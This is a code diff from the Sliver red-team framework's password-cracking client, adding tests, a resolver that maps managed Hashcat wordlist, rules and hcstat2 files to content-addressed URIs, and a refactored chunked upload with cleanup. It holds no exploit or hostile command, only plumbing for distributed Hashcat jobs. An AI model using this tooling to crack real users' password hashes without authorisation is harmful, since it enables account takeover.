|
||||
if stderrField == nil {
|
||||
t.Fatal("CrackQueryResult is missing field Stderr")
|
||||
}
|
||||
if got, want := stderrField.Number(), protoreflect.FieldNumber(6); got != want {
|
||||
t.Fatalf("CrackQueryResult.Stderr tag = %d, want %d", got, want)
|
||||
}
|
||||
|
||||
want := &clientpb.CrackResponse{
|
||||
Job: &clientpb.CrackJob{ID: "job-id"},
|
||||
Keyspace: "18446744073709551615",
|
||||
Query: &clientpb.CrackQueryResult{
|
||||
Mode: clientpb.CrackQueryMode_CRACK_QUERY_KEYSPACE, CrackstationHostUUID: "host-id", Value: "42", Stderr: "warning\n",
|
||||
},
|
||||
}
|
||||
raw, err := proto.Marshal(want)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal crack response: %v", err)
|
||||
}
|
||||
got := &clientpb.CrackResponse{}
|
||||
if err := proto.Unmarshal(raw, got); err != nil {
|
||||
t.Fatalf("unmarshal crack response: %v", err)
|
||||
}
|
||||
if !proto.Equal(got, want) {
|
||||
t.Fatalf("crack response round trip = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConnectedCrackstationsReturnsRPCError(t *testing.T) {
|
||||
want := errors.New("query failed")
|
||||
capture := &crackDispatchRPCCapture{err: want}
|
||||
if _, err := connectedCrackstations(context.Background(), capture); !errors.Is(err, want) {
|
||||
t.Fatalf("connectedCrackstations() error = %v, want %v", err, want)
|
||||
}
|
||||
if capture.crackstationsCalls != 1 {
|
||||
t.Fatalf("Crackstations calls = %d, want 1", capture.crackstationsCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConnectedCrackstationsReturnsEveryNonNilStation(t *testing.T) {
|
||||
capture := &crackDispatchRPCCapture{response: &clientpb.Crackstations{Crackstations: []*clientpb.Crackstation{
|
||||
nil,
|
||||
{Name: "one"},
|
||||
{Name: "two"},
|
||||
}}}
|
||||
stations, err := connectedCrackstations(context.Background(), capture)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(stations) != 2 || stations[0].Name != "one" || stations[1].Name != "two" {
|
||||
t.Fatalf("connectedCrackstations() = %#v, want one and two", stations)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackHashcatFlagsAreRootLocal(t *testing.T) {
|
||||
root := Commands(nil)[0]
|
||||
if root.Flags().Lookup("backend-info") == nil {
|
||||
t.Fatal("root crack command is missing --backend-info")
|
||||
}
|
||||
if root.Flags().Lookup("crackstation") == nil {
|
||||
t.Fatal("root crack command is missing --crackstation")
|
||||
}
|
||||
if root.PersistentFlags().Lookup("backend-info") != nil {
|
||||
t.Fatal("--backend-info must not be inherited by crack subcommands")
|
||||
}
|
||||
if root.Flags().Lookup("stdout") != nil {
|
||||
t.Fatal("root crack command unexpectedly exposes removed --stdout")
|
||||
}
|
||||
|
||||
stations, _, err := root.Find([]string{"stations"})
|
||||
if err != nil {
|
||||
t.Fatalf("find crack stations: %v", err)
|
||||
}
|
||||
if stations.InheritedFlags().Lookup("backend-info") != nil {
|
||||
t.Fatal("crack stations unexpectedly inherits --backend-info")
|
||||
}
|
||||
if stations.InheritedFlags().Lookup("timeout") == nil {
|
||||
t.Fatal("crack stations must continue to inherit --timeout")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
const crackFileScheme = "crackfile://"
|
||||
|
||||
type crackFilesListFunc func(context.Context, *clientpb.CrackFile) (*clientpb.CrackFiles, error)
|
||||
|
||||
// resolveManagedCrackFileReferences replaces exact server-side crack file
|
||||
// names, IDs, and digests with the content-addressed URI understood by a
|
||||
// crackstation. Inputs that do not match a managed file remain ordinary
|
||||
// Hashcat operands, masks, paths, or inline rule content.
|
||||
//
|
||||
//nolint:gocyclo // Resolve every managed-file role together in one deterministic pass.
|
||||
func resolveManagedCrackFileReferences(ctx context.Context, command *clientpb.CrackCommand, list crackFilesListFunc) error {
|
||||
if command == nil {
|
||||
return fmt.Errorf("missing crack command")
|
||||
}
|
||||
if list == nil {
|
||||
return fmt.Errorf("missing crack file lister")
|
||||
}
|
||||
|
||||
wordlistIndexes := make([]int, 0, len(command.PositionalArguments))
|
||||
wordlistInputs := make([]string, 0, len(command.PositionalArguments))
|
||||
for index, argument := range command.PositionalArguments {
|
||||
// Only wordlist-role operands may be resolved by alias. An inline mask can
|
||||
// legitimately have the same text as a managed file name and must remain
|
||||
// an inline mask. Explicit crackfile URIs are still validated here so a
|
||||
// mistyped managed reference fails at the client boundary.
|
||||
if !crackOperandIsWordlist(command.AttackMode, index) && !strings.HasPrefix(argument, crackFileScheme) {
|
||||
continue
|
||||
}
|
||||
wordlistIndexes = append(wordlistIndexes, index)
|
||||
wordlistInputs = append(wordlistInputs, argument)
|
||||
}
|
||||
if len(wordlistInputs) > 0 {
|
||||
resolved, err := resolveCrackFileValues(ctx, wordlistInputs, clientpb.CrackFileType_WORDLIST, list)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for index, argument := range resolved {
|
||||
command.PositionalArguments[wordlistIndexes[index]] = argument
|
||||
}
|
||||
}
|
||||
legacyIdentify := command.Identify //nolint:staticcheck // Identify remains required for legacy wire compatibility.
|
||||
if len(command.PositionalArguments) == 0 && legacyIdentify != "" &&
|
||||
(crackOperandIsWordlist(command.AttackMode, 0) || strings.HasPrefix(legacyIdentify, crackFileScheme)) {
|
||||
resolved, err := resolveCrackFileValues(ctx, []string{legacyIdentify}, clientpb.CrackFileType_WORDLIST, list)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
command.Identify = resolved[0] //nolint:staticcheck // Keep the resolved legacy operand synchronized for older servers.
|
||||
}
|
||||
|
||||
rules := command.RulesFilesV7
|
||||
if len(rules) == 0 && len(command.RulesFile) > 0 {
|
||||
rules = [][]byte{command.RulesFile}
|
||||
}
|
||||
if len(rules) > 0 {
|
||||
values := make([]string, 0, len(rules))
|
||||
for _, rule := range rules {
|
||||
values = append(values, string(rule))
|
||||
}
|
||||
resolved, err := resolveCrackFileValues(ctx, values, clientpb.CrackFileType_RULES, list)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
command.RulesFilesV7 = make([][]byte, 0, len(resolved))
|
||||
for _, rule := range resolved {
|
||||
command.RulesFilesV7 = append(command.RulesFilesV7, []byte(rule))
|
||||
}
|
||||
command.RulesFile = append([]byte(nil), command.RulesFilesV7[0]...)
|
||||
}
|
||||
|
||||
if len(command.MarkovHcstat2) > 0 {
|
||||
resolved, err := resolveCrackFileValues(ctx, []string{string(command.MarkovHcstat2)}, clientpb.CrackFileType_MARKOV_HCSTAT2, list)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
command.MarkovHcstat2 = []byte(resolved[0])
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func crackOperandIsWordlist(attackMode clientpb.CrackAttackMode, index int) bool {
|
||||
switch attackMode {
|
||||
case clientpb.CrackAttackMode_STRAIGHT, clientpb.CrackAttackMode_COMBINATION:
|
||||
return true
|
||||
case clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK:
|
||||
return index == 0
|
||||
case clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST:
|
||||
return index == 1
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
//nolint:gocyclo // Validation and alias disambiguation intentionally share the manifest lookup and preserve input ordering.
|
||||
func resolveCrackFileValues(ctx context.Context, values []string, fileType clientpb.CrackFileType, list crackFilesListFunc) ([]string, error) {
|
||||
needsManifest := false
|
||||
for _, value := range values {
|
||||
if strings.HasPrefix(value, crackFileScheme) {
|
||||
if err := validateCrackFileURI(value, fileType); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
continue
|
||||
}
|
||||
needsManifest = true
|
||||
}
|
||||
if !needsManifest {
|
||||
return append([]string(nil), values...), nil
|
||||
}
|
||||
|
||||
manifest, err := list(ctx, &clientpb.CrackFile{Type: fileType})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list managed %s files: %w", crackFileTypeToken(fileType), err)
|
||||
}
|
||||
files := []*clientpb.CrackFile(nil)
|
||||
if manifest != nil {
|
||||
files = manifest.Files
|
||||
}
|
||||
resolved := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
if strings.HasPrefix(value, crackFileScheme) {
|
||||
resolved = append(resolved, value)
|
||||
continue
|
||||
}
|
||||
matches := make([]*clientpb.CrackFile, 0, 1)
|
||||
for _, file := range files {
|
||||
if file == nil || file.Type != fileType {
|
||||
continue
|
||||
}
|
||||
if value == file.Name || value == file.ID || strings.EqualFold(value, file.Sha2_256) {
|
||||
matches = append(matches, file)
|
||||
}
|
||||
}
|
||||
if len(matches) > 1 {
|
||||
return nil, fmt.Errorf("managed %s file reference %q is ambiguous", crackFileTypeToken(fileType), value)
|
||||
}
|
||||
if len(matches) == 0 {
|
||||
resolved = append(resolved, value)
|
||||
continue
|
||||
}
|
||||
uri, err := crackFileURI(matches[0])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resolved = append(resolved, uri)
|
||||
}
|
||||
return resolved, nil
|
||||
}
|
||||
|
||||
func crackFileURI(file *clientpb.CrackFile) (string, error) {
|
||||
if file == nil {
|
||||
return "", fmt.Errorf("missing managed crack file")
|
||||
}
|
||||
digest := strings.ToLower(strings.TrimSpace(file.Sha2_256))
|
||||
if err := validateCrackFileDigest(digest); err != nil {
|
||||
return "", fmt.Errorf("managed crack file %q has invalid SHA-256: %w", file.Name, err)
|
||||
}
|
||||
fileType := crackFileTypeToken(file.Type)
|
||||
if fileType == "" {
|
||||
return "", fmt.Errorf("managed crack file %q has unsupported type %s", file.Name, file.Type.String())
|
||||
}
|
||||
return crackFileScheme + fileType + "/" + digest, nil
|
||||
}
|
||||
|
||||
func validateCrackFileURI(value string, expectedType clientpb.CrackFileType) error {
|
||||
remainder := strings.TrimPrefix(value, crackFileScheme)
|
||||
parts := strings.Split(remainder, "/")
|
||||
if len(parts) != 2 || parts[0] == "" || parts[1] == "" {
|
||||
return fmt.Errorf("invalid managed crack file URI %q", value)
|
||||
}
|
||||
if parts[0] != crackFileTypeToken(expectedType) {
|
||||
return fmt.Errorf("managed crack file URI %q has type %q, expected %q", value, parts[0], crackFileTypeToken(expectedType))
|
||||
}
|
||||
if parts[1] != strings.ToLower(parts[1]) {
|
||||
return fmt.Errorf("managed crack file URI %q must use a lowercase SHA-256", value)
|
||||
}
|
||||
if err := validateCrackFileDigest(parts[1]); err != nil {
|
||||
return fmt.Errorf("invalid managed crack file URI %q: %w", value, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateCrackFileDigest(value string) error {
|
||||
if len(value) != 64 {
|
||||
return fmt.Errorf("SHA-256 must contain 64 hexadecimal characters")
|
||||
}
|
||||
decoded, err := hex.DecodeString(value)
|
||||
if err != nil || len(decoded) != 32 {
|
||||
return fmt.Errorf("SHA-256 must contain 64 hexadecimal characters")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func crackFileTypeToken(fileType clientpb.CrackFileType) string {
|
||||
switch fileType {
|
||||
case clientpb.CrackFileType_WORDLIST:
|
||||
return "wordlist"
|
||||
case clientpb.CrackFileType_RULES:
|
||||
return "rules"
|
||||
case clientpb.CrackFileType_MARKOV_HCSTAT2:
|
||||
return "hcstat2"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
func TestResolveManagedCrackFileReferences(t *testing.T) {
|
||||
wordlistDigest := strings.Repeat("a", 64)
|
||||
rulesDigest := strings.Repeat("b", 64)
|
||||
hcstat2Digest := strings.Repeat("c", 64)
|
||||
files := map[clientpb.CrackFileType][]*clientpb.CrackFile{
|
||||
clientpb.CrackFileType_WORDLIST: {{ID: "wordlist-id", Name: "rockyou.txt", Sha2_256: wordlistDigest, Type: clientpb.CrackFileType_WORDLIST}},
|
||||
clientpb.CrackFileType_RULES: {{ID: "rules-id", Name: "best64.rule", Sha2_256: rulesDigest, Type: clientpb.CrackFileType_RULES}},
|
||||
clientpb.CrackFileType_MARKOV_HCSTAT2: {{
|
||||
ID: "hcstat2-id", Name: "hashcat.hcstat2", Sha2_256: hcstat2Digest, Type: clientpb.CrackFileType_MARKOV_HCSTAT2,
|
||||
}},
|
||||
}
|
||||
requested := make([]clientpb.CrackFileType, 0)
|
||||
list := func(_ context.Context, request *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
requested = append(requested, request.Type)
|
||||
return &clientpb.CrackFiles{Files: files[request.Type]}, nil
|
||||
}
|
||||
command := &clientpb.CrackCommand{
|
||||
AttackMode: clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK,
|
||||
PositionalArguments: []string{"rockyou.txt", "?d?d?d"},
|
||||
RulesFile: []byte("best64.rule"),
|
||||
RulesFilesV7: [][]byte{[]byte("best64.rule"), []byte(":")},
|
||||
MarkovHcstat2: []byte("hcstat2-id"),
|
||||
}
|
||||
|
||||
if err := resolveManagedCrackFileReferences(context.Background(), command, list); err != nil {
|
||||
t.Fatalf("resolveManagedCrackFileReferences: %v", err)
|
||||
}
|
||||
if want := []string{"crackfile://wordlist/" + wordlistDigest, "?d?d?d"}; !slices.Equal(command.PositionalArguments, want) {
|
||||
t.Fatalf("PositionalArguments = %#v, want %#v", command.PositionalArguments, want)
|
||||
}
|
||||
wantRules := [][]byte{[]byte("crackfile://rules/" + rulesDigest), []byte(":")}
|
||||
if !slices.EqualFunc(command.RulesFilesV7, wantRules, func(left, right []byte) bool { return slices.Equal(left, right) }) {
|
||||
t.Fatalf("RulesFilesV7 = %#v, want %#v", command.RulesFilesV7, wantRules)
|
||||
}
|
||||
if !slices.Equal(command.RulesFile, wantRules[0]) {
|
||||
t.Fatalf("RulesFile = %q", command.RulesFile)
|
||||
}
|
||||
if want := "crackfile://hcstat2/" + hcstat2Digest; string(command.MarkovHcstat2) != want {
|
||||
t.Fatalf("MarkovHcstat2 = %q, want %q", command.MarkovHcstat2, want)
|
||||
}
|
||||
if want := []clientpb.CrackFileType{clientpb.CrackFileType_WORDLIST, clientpb.CrackFileType_RULES, clientpb.CrackFileType_MARKOV_HCSTAT2}; !slices.Equal(requested, want) {
|
||||
t.Fatalf("requested types = %#v, want %#v", requested, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveManagedCrackFileReferencesRespectsAttackOperandRoles(t *testing.T) {
|
||||
digestA := strings.Repeat("a", 64)
|
||||
digestB := strings.Repeat("b", 64)
|
||||
files := []*clientpb.CrackFile{
|
||||
{ID: "wordlist-a", Name: "first", Sha2_256: digestA, Type: clientpb.CrackFileType_WORDLIST},
|
||||
{ID: "wordlist-b", Name: "second", Sha2_256: digestB, Type: clientpb.CrackFileType_WORDLIST},
|
||||
}
|
||||
list := func(_ context.Context, request *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
if request.Type != clientpb.CrackFileType_WORDLIST {
|
||||
t.Fatalf("requested file type = %s, want WORDLIST", request.Type)
|
||||
}
|
||||
return &clientpb.CrackFiles{Files: files}, nil
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
attackMode clientpb.CrackAttackMode
|
||||
inputs []string
|
||||
want []string
|
||||
}{
|
||||
{
|
||||
name: "bruteforce mask collision",
|
||||
attackMode: clientpb.CrackAttackMode_BRUTEFORCE,
|
||||
inputs: []string{"first"},
|
||||
want: []string{"first"},
|
||||
},
|
||||
{
|
||||
name: "wordlist mask hybrid",
|
||||
attackMode: clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK,
|
||||
inputs: []string{"first", "second"},
|
||||
want: []string{"crackfile://wordlist/" + digestA, "second"},
|
||||
},
|
||||
{
|
||||
name: "mask wordlist hybrid",
|
||||
attackMode: clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST,
|
||||
inputs: []string{"first", "second"},
|
||||
want: []string{"first", "crackfile://wordlist/" + digestB},
|
||||
},
|
||||
{
|
||||
name: "straight wordlists",
|
||||
attackMode: clientpb.CrackAttackMode_STRAIGHT,
|
||||
inputs: []string{"first", "second"},
|
||||
want: []string{"crackfile://wordlist/" + digestA, "crackfile://wordlist/" + digestB},
|
||||
},
|
||||
{
|
||||
name: "combination wordlists",
|
||||
attackMode: clientpb.CrackAttackMode_COMBINATION,
|
||||
inputs: []string{"first", "second"},
|
||||
want: []string{"crackfile://wordlist/" + digestA, "crackfile://wordlist/" + digestB},
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
command := &clientpb.CrackCommand{
|
||||
AttackMode: test.attackMode,
|
||||
PositionalArguments: append([]string(nil), test.inputs...),
|
||||
}
|
||||
if err := resolveManagedCrackFileReferences(context.Background(), command, list); err != nil {
|
||||
t.Fatalf("resolveManagedCrackFileReferences: %v", err)
|
||||
}
|
||||
if !slices.Equal(command.PositionalArguments, test.want) {
|
||||
t.Fatalf("PositionalArguments = %#v, want %#v", command.PositionalArguments, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveManagedCrackFileReferencesPreservesInlineBytes(t *testing.T) {
|
||||
inline := []byte{0, 1, 2, 0xff}
|
||||
command := &clientpb.CrackCommand{RulesFilesV7: [][]byte{append([]byte(nil), inline...)}}
|
||||
list := func(_ context.Context, _ *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
return &clientpb.CrackFiles{}, nil
|
||||
}
|
||||
if err := resolveManagedCrackFileReferences(context.Background(), command, list); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(command.RulesFilesV7) != 1 || !slices.Equal(command.RulesFilesV7[0], inline) {
|
||||
t.Fatalf("inline rules changed: %#v", command.RulesFilesV7)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveManagedCrackFileReferencesAcceptsCanonicalURIWithoutListing(t *testing.T) {
|
||||
uri := "crackfile://wordlist/" + strings.Repeat("d", 64)
|
||||
command := &clientpb.CrackCommand{PositionalArguments: []string{uri}}
|
||||
list := func(_ context.Context, _ *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
t.Fatal("canonical URI should not require a manifest lookup")
|
||||
return nil, nil
|
||||
}
|
||||
if err := resolveManagedCrackFileReferences(context.Background(), command, list); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if command.PositionalArguments[0] != uri {
|
||||
t.Fatalf("URI changed to %q", command.PositionalArguments[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveManagedCrackFileReferencesRejectsWrongURIType(t *testing.T) {
|
||||
command := &clientpb.CrackCommand{RulesFilesV7: [][]byte{[]byte("crackfile://wordlist/" + strings.Repeat("e", 64))}}
|
||||
err := resolveManagedCrackFileReferences(context.Background(), command, func(context.Context, *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
return nil, errors.New("must not be called")
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "expected \"rules\"") {
|
||||
t.Fatalf("error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveManagedCrackFileReferencesRejectsAmbiguousName(t *testing.T) {
|
||||
command := &clientpb.CrackCommand{PositionalArguments: []string{"duplicate.txt"}}
|
||||
list := func(_ context.Context, request *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
return &clientpb.CrackFiles{Files: []*clientpb.CrackFile{
|
||||
{Name: "duplicate.txt", Sha2_256: strings.Repeat("a", 64), Type: request.Type},
|
||||
{Name: "duplicate.txt", Sha2_256: strings.Repeat("b", 64), Type: request.Type},
|
||||
}}, nil
|
||||
}
|
||||
err := resolveManagedCrackFileReferences(context.Background(), command, list)
|
||||
if err == nil || !strings.Contains(err.Error(), "ambiguous") {
|
||||
t.Fatalf("error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveManagedCrackFileReferencesRejectsInvalidDigest(t *testing.T) {
|
||||
command := &clientpb.CrackCommand{MarkovHcstat2: []byte("broken.hcstat2")}
|
||||
list := func(_ context.Context, request *clientpb.CrackFile) (*clientpb.CrackFiles, error) {
|
||||
return &clientpb.CrackFiles{Files: []*clientpb.CrackFile{{
|
||||
Name: "broken.hcstat2", Sha2_256: "not-a-digest", Type: request.Type,
|
||||
}}}, nil
|
||||
}
|
||||
err := resolveManagedCrackFileReferences(context.Background(), command, list)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid SHA-256") {
|
||||
t.Fatalf("error = %v", err)
|
||||
}
|
||||
}
|
||||
@@ -22,18 +22,36 @@ import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/klauspost/compress/zstd"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func localCrackFileInfo(path string) (os.FileInfo, error) {
|
||||
return localCrackFileInfoWith(path, os.Stat)
|
||||
}
|
||||
|
||||
func localCrackFileInfoWith(path string, stat func(string) (os.FileInfo, error)) (os.FileInfo, error) {
|
||||
info, err := stat(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("stat local crack file %q: %w", path, err)
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil, fmt.Errorf("local crack file %q is a directory", path)
|
||||
}
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// CrackWordlistsCmd - Manage GPU cracking stations.
|
||||
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
@@ -173,9 +191,9 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
wordlistStat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || wordlistStat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
wordlistStat, err := localCrackFileInfo(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid wordlist file: %s\n", err)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
@@ -217,9 +235,9 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
rulesStat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || rulesStat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
rulesStat, err := localCrackFileInfo(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid rules file: %s\n", err)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
@@ -261,9 +279,9 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.PrintErrorf("No path specified, see --help\n")
|
||||
return
|
||||
}
|
||||
hcstat2Stat, err := os.Stat(localPath)
|
||||
if os.IsNotExist(err) || hcstat2Stat.IsDir() {
|
||||
con.PrintErrorf("File does not exist: %s\n", localPath)
|
||||
hcstat2Stat, err := localCrackFileInfo(localPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid hcstat2 file: %s\n", err)
|
||||
return
|
||||
}
|
||||
if name == "" {
|
||||
@@ -294,102 +312,176 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
}
|
||||
|
||||
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) {
|
||||
digest := sha256.New()
|
||||
wordlistReader := io.TeeReader(localFile, digest)
|
||||
|
||||
chunks := make(chan []byte, 1) // Chunks are in-memory!
|
||||
|
||||
var chunkReaderErr error
|
||||
go func() {
|
||||
chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
|
||||
}()
|
||||
n := uint32(0)
|
||||
total := int64(0)
|
||||
errors := []error{}
|
||||
for chunk := range chunks {
|
||||
total += int64(len(chunk))
|
||||
total, err := uploadCrackFile(localFile, crackFile, con.Rpc, func(total int64, n uint32, chunkSize int) {
|
||||
con.PrintInfof("Uploading %s (chunk %d - %s) ...",
|
||||
util.ByteCountBinary(total),
|
||||
n,
|
||||
util.ByteCountBinary(int64(len(chunk))),
|
||||
util.ByteCountBinary(int64(chunkSize)),
|
||||
)
|
||||
_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
|
||||
CrackFileID: crackFile.ID,
|
||||
N: n,
|
||||
Data: chunk,
|
||||
})
|
||||
n++
|
||||
if err != nil {
|
||||
errors = append(errors, err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if chunkReaderErr != nil {
|
||||
con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
|
||||
return
|
||||
}
|
||||
if len(errors) > 0 {
|
||||
for _, err := range errors {
|
||||
con.PrintErrorf("Failed to upload chunk: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
|
||||
ID: crackFile.ID,
|
||||
Sha2_256: hex.EncodeToString(digest.Sum(nil)),
|
||||
})
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to complete file upload: %s\n", err)
|
||||
con.PrintErrorf("Failed to upload crack file: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
|
||||
}
|
||||
|
||||
func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
|
||||
func uploadCrackFile(localFile io.Reader, crackFile *clientpb.CrackFile, rpc rpcpb.SliverRPCClient, progress func(total int64, n uint32, chunkSize int)) (total int64, retErr error) {
|
||||
if localFile == nil {
|
||||
return 0, errors.New("local crack file reader is nil")
|
||||
}
|
||||
if crackFile == nil || crackFile.ID == "" {
|
||||
return 0, errors.New("crack file reservation is missing an ID")
|
||||
}
|
||||
if rpc == nil {
|
||||
return 0, errors.New("crack file RPC client is nil")
|
||||
}
|
||||
|
||||
completed := false
|
||||
defer func() {
|
||||
if retErr == nil || completed {
|
||||
return
|
||||
}
|
||||
_, cleanupErr := rpc.CrackFileDelete(context.Background(), &clientpb.CrackFile{ID: crackFile.ID})
|
||||
if cleanupErr != nil {
|
||||
retErr = errors.Join(retErr, fmt.Errorf("failed to remove crack file reservation %s: %w", crackFile.ID, cleanupErr))
|
||||
}
|
||||
}()
|
||||
|
||||
digest := sha256.New()
|
||||
wordlistReader := io.TeeReader(localFile, digest)
|
||||
|
||||
chunks, chunkReaderErrors := readCrackFileChunks(wordlistReader, crackFile.ChunkSize)
|
||||
n := uint32(0)
|
||||
var uploadErr error
|
||||
for chunk := range chunks {
|
||||
total += int64(len(chunk))
|
||||
if uploadErr == nil {
|
||||
if progress != nil {
|
||||
progress(total, n, len(chunk))
|
||||
}
|
||||
_, err := rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
|
||||
CrackFileID: crackFile.ID,
|
||||
N: n,
|
||||
Data: chunk,
|
||||
})
|
||||
if err != nil {
|
||||
uploadErr = fmt.Errorf("upload chunk %d: %w", n, err)
|
||||
}
|
||||
}
|
||||
n++
|
||||
}
|
||||
chunkReaderErr := <-chunkReaderErrors
|
||||
if chunkReaderErr != nil {
|
||||
uploadErr = errors.Join(uploadErr, fmt.Errorf("read and compress crack file: %w", chunkReaderErr))
|
||||
}
|
||||
if uploadErr != nil {
|
||||
return total, uploadErr
|
||||
}
|
||||
_, err := rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
|
||||
ID: crackFile.ID,
|
||||
Sha2_256: hex.EncodeToString(digest.Sum(nil)),
|
||||
})
|
||||
if err != nil {
|
||||
return total, fmt.Errorf("complete crack file upload: %w", err)
|
||||
}
|
||||
completed = true
|
||||
return total, nil
|
||||
}
|
||||
|
||||
func readCrackFileChunks(reader io.Reader, chunkSize int64) (<-chan []byte, <-chan error) {
|
||||
chunks := make(chan []byte, 1) // Chunks are in-memory!
|
||||
errors := make(chan error, 1)
|
||||
go func() {
|
||||
defer close(errors)
|
||||
errors <- chunkReader(reader, chunkSize, chunks)
|
||||
}()
|
||||
return chunks, errors
|
||||
}
|
||||
|
||||
//nolint:gocyclo // Compression, fixed-size emission, final remainder handling, and cleanup form one streaming state machine.
|
||||
func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) (retErr error) {
|
||||
defer close(chunks)
|
||||
if chunkSize < 1 {
|
||||
return fmt.Errorf("invalid crack file chunk size %d", chunkSize)
|
||||
}
|
||||
start := int64(0)
|
||||
tmpFile, err := os.CreateTemp("", "sliver-wordlist")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tmpFile.Close()
|
||||
